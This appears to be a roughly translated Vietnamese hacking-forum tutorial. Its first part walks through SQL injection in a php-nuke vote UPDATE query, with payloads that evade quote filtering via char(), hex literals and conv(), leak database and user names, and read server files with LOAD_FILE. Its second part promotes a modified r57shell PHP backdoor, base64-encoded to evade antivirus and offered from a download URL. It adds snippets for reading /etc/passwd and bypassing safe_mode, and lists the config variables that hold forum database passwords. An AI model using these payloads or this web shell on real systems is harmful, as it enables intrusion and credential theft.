$sql = "UPDATE news SET Votes=Votes+1, score=score+$note WHERE idnews='$id'"; Tôi lấy ví dụ này bởi vì nó thông qua một yêu cầu của kiểu này mà tôi thấy sâu hơn trong kiến thức của tôi v
Trang 1$sql = "UPDATE news SET Votes=Votes+1, score=score+$note WHERE
idnews='$id'";
Tôi lấy ví dụ này bởi vì nó thông qua một yêu cầu của kiểu này mà tôi thấy sâu hơn trong kiến thức của tôi về injection sql trong các yêu cầu update ,
Chính xác trong php-nuke (cái nì là tiếng pháp dịch kô biết có chuẩn kô), và tôi tìm thấy lỗi trong các dịch vụ khác (directories of bonds…)
Điều ở đây không dính líu đến biến #,sự thay đổi của nó sẽ không hữu ích cho chúng ta , từ đó một kẻ có thể Vote cho mỗi tin tức
Do đó có thể thấy rằng yêu cầu tăng “Votes”, là số các người bầu cử và thêm vào
“score” score mới đã chọn
Ban đầu đã thông báo là bằng việc bổ sung một yêu cầu chính xác,có thể thay đổi vài trường của tin tức đã chọn
Ví dụ cho biến $id giá trị 12 và biến $note giá trị 3,title=’hop’ ,sẽ thu được truy vấn:
UPDATE news SET Votes=Votes+1, score=score+3, title='hop' WHERE
idnews='12 '
từ đó một voter sẽ được thêm,và sẽ tăng 3 điểm và thay đổi tựa đề của tin tức số 12 vào trong ‘hop’
Một điểm thú vị hơn một injection có thể mang lại ,hơn magic_quotes_gpc ở vị trí
ON hoặc OFF trong truy vấn này ,cái là vấn đề chính trong injection sql với php
Thực sự rằng biến có thể thay đổi $note không được bao quanh bởi các dấu ngoặc kép và các apastrophe Dó dó có thể thay đổi đích của truy vấn và không sử dụng ‘ hoặc của “ ,và do đó không có vấn đề với cấu hình bộ lọc của php
Ví dụ về injection không sử dụng ‘ (dấu nháy đơn) cũng như “ (dấu nháy kép) : cho biến $note giá trị 3, Votes=0
->truy vấn:
Trang 2UPDATE news SET Votes=Votes+1, score=score+3, Votes=0 WHERE
idnews='12'
Rõ ràng rằng không thể thay đổi chỉ các thiết đặt (tại lần trình bày đầu tiên), bởi vì
để xác định tank,varchar,text,…cần thiết sử dụng ‘ hoặc “ (title=’hop’)
Ở đây hàm chuyển đổi các xâu kí tự xen vào giữa.Ví dụ,hàm Mysql char() trả lại giá trị thích hợp với các con số để ở dạng ascii Do đó char(97,98,99) “abc will be worth “ Do đó có thể chèn text vì không bị khoá bởi magic_quotes_gpc.Ví dụ thay đổi tựa đề trong “hop”, sẽ có thể cho biến $note giá trị
3,title=char(104,111,112),như câu truy vấn sau:
UPDATE news SET Votes=Votes+1, score=score+3, title=char(104,111,112) WHERE idnews='12'
Có thể dễ dàng có giá trị hexa thông qua sql bằng cách sử dụng hàm ascii() hoặc ord() ASCII(‘h’) và ORD(‘h’) trả lại 104
Cũng có thể sử dụng với các kí tự mà không có ‘ hoặc “ dựa theo sự kiện rằng sql nhận ra kí tự hexa trực tiếp và chuyển đổi chúng.Ví dụ 0x616263 là giống với
“ABC” Do đó có thể gán cho biến $note giá trị 3, title=0x616263, tựa đề đã được thay đổi trong “ABC” bởi vì truy vấn mang lại là:
UPDATE news SET Votes=Votes+1, score=score+3, title=0x616263 WHERE idnews='12'
Cuối cùng khả năng thứ ba là sử dụng hàm conv(), hàm này chuyển từ giá trị cơ bản sang một giá trị khác (base minimum 2, maximum 36)
Ví dụ có thể cho biến $note giá trị 3, title=conv(10202210,3,16), 3,
title=conv(5274,8,16),vv…để chuyển đổi title trong “ABC” Áp dụng gì với hàm này ? Khi biết giá trị cho biến đầu tiên,quá đủ để convert in other direction, I.E có thể mang lại select conv(“abc”,16,3), conv(“abc”,16,8)
Vài thông tin có thể rút ra dựa trên các hàm database() và user() hoặc system_user ; current_user() hoặc là session_user ,chúng trả lại tên của current base và của
current user Do đó ở đó sẽ là tên của cơ sở dữ liệu đã sử dụng trong tựa đề trong khi phân cho các biến giá trị : $note: 3, title=database(), như truy vấn sau:
Trang 3UPDATE news SET Votes=Votes+1, score=score+3, title=DATABASE()
WHERE idnews='12'
Cuối cùng chúng ta nói về một hàm rất thú vị, nhưng hiếm khi áp dụng, đó là hàm load_file()
Như tên của nó đã nói,nó đặt một file vào một biến.Chính xác hơn nó đọc và
chuyển giao như một dây chuyền nội dung của file đã được đặt trong biến
Có vài điều kiện sử dụng nó:
-file phải sẵn sàng phục vụ
-đường dẫn đầy đủ phải được chỉ ra
-phải có đặc quyền slips by
-phải có thể đọc được bởi tất cả mọi người (nobody)
-file phải nhỏ hơn max_allowed_packet
Khi mà tất cả các điều kiện trên được thỏa mãn thì có thể chuyển file trong cơ sở
dữ liệu Trường mà có thể chứa đựng hầu hết các kí tự là trường “news” (dạng file text), do đó đây là một cái có thể lợi dụng được.Ví dụ để copy file /tmp/picture (ví
dụ của mysql bắt đầu không sử dụng như truyền thống /etc/passwd) trong trường news của news 12,có thể gán cho biến $note giá trị 3,
news=load_file(‘/tmp/picture’) điều này thể hiện ở câu truy vấn sau:
UPDATE news SET Votes=Votes+1, score=score+3,
news=LOAD_FILE('/tmp/picture') WHERE idnews='12'
Còn gì nữa nhỉ , mấy lão ấy Edit mất roài
Giới thiệu con r57 mới !
Backdoor's name: R57shell
version: 1.35
coded by: RST/GHC
developed by: navaro (VnForce)
Trang 4source: (encoded bằng base64 thôi, nhằm qua mặt ANTI)
http://aznatc.info/w/navaro.txt
đặc điểm:
1, Thêm 1 số chức năng như là:
+ Local file inload via mysql
+ PHP bypass : readfile + view dir (cái này php từ 4.4.4 trở xuống đều dính hết)
2, fix 1 số bug
Nói sơ qua:
_ con shell này sẽ là 1 tool rất hữu dụng cho attacker nào chơi "local attack" ! + Eval PHP code:
Read file: (ex: /etc/passwd)
Code:
readfile("/etc/passwd");
Code:
include("/etc/passwd");
Code:
echo ini_get("safe_mode");
echo ini_get("open_basedir");
include("/etc/passwd");
ini_restore("safe_mode");
ini_restore("open_basedir");
echo ini_get("safe_mode");
echo ini_get("open_basedir");
include("/etc/passwd");
run trong cái Eval PHP code này có thể lấy được rất nhiều thông tin ! (trừ khi r00t
nó dis mấy function này)
Ngoài ra, ta còn có thể lợi dụng cái này để echo những variable trong những file php bị encode = zend, base64, nếu biết rõ variable !
ví dụ:
các variable trong file conf_global.php (default) của IPB
Code:
$INFO['sql_host']
$INFO['sql_database']
$INFO['sql_user']
$INFO['sql_pass']
Trang 5$INFO['sql_tbl_prefix']
Vb: /includes/config.php (default)
Code:
$config['Database']['dbname']
$config['MasterServer']['username']
$config['MasterServer']['password']
$config['SpecialUsers']['superadministrators']
$config['Misc']['admincpdir']
phpbb:
Code:
$dbhost
$dbname
$dbuser
$dbpasswd
hình:
PHP bypass:
+ Readfile + View dir
+ Local file inload
Sau khi đã lấy được user + pass database thì ta login, cái này đã được đính thằng vào !